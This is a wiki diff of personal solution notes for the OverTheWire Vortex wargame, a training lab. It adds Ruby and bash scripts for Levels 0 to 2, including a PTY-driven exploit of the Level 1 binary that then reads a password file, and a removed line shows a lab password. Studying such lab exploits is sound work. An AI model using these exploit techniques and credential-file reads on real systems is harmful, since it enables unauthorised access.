Differences

This shows you the differences between two versions of the page.

Link to this comparison view

Both sides previous revisionPrevious revision
Next revision
Previous revision
security:over_the_wire:vortex [14 years ago - 2011/10/18 05:13] aogailsecurity:over_the_wire:vortex [14 years ago - 2011/10/21 20:43] (current) aogail
Line 2: Line 2:
  
 ===== Level 0 ===== ===== Level 0 =====
 +
 +<code ruby level0.rb>
 +require 'socket'
 +
 +TCPSocket.open('vortex.labs.overthewire.org', 5842) do |s|
 +  sum = 0
 +  4.times {sum += s.recv(4).unpack('V').first}
 +  s.send([sum].pack('V'), 0)
 +  response = ''
 +  response += s.read() until s.eof?
 +  puts response
 +end
 +</code>
  
 ===== Level 1 ===== ===== Level 1 =====
  
-<code ruby>+<code ruby level1.rb>
 require 'pty' require 'pty'
 + 
 begin begin
   PTY.spawn("/vortex/level1") do |stdin, stdout, pid|   PTY.spawn("/vortex/level1") do |stdin, stdout, pid|
-    257.times {stdout.write "\\"+    stdin.sync = true
-    1.times {stdout.write [0xca].pack('V')} +
-    1.times {stdout.write "\\"+
-    1.times {stdout.write [0xff].pack('V')}+
     reader = Thread.new {     reader = Thread.new {
       STDOUT.sync = true       STDOUT.sync = true
       STDOUT.write(stdin.read(1)) until stdin.eof?       STDOUT.write(stdin.read(1)) until stdin.eof?
-      puts 'Exiting reader' 
     }     }
-    stdout.write STDIN.readline until STDIN.eof?+    257.times {stdout.write "\\"
 +    1.times {stdout.write [0xca].pack('V')} 
 +    1.times {stdout.write "\\"
 +    1.times {stdout.write [0xff].pack('V')} 
 +    sleep 0.25 
 +    stdout.puts 
 +    sleep 0.25 
 +    stdout.write "cat /etc/vortex_pass/vortex2\n" 
 +    sleep 0.25
   end   end
 rescue => e rescue => e
Line 26: Line 43:
 </code> </code>
  
-Password: 23anbT\rE+===== Level 2 ===== 
 + 
 +<code bash> 
 +/vortex/level2 /etc/vortex_pass/vortex3 
 +cat '/tmp/ownership.$$.tar' 
 +</code>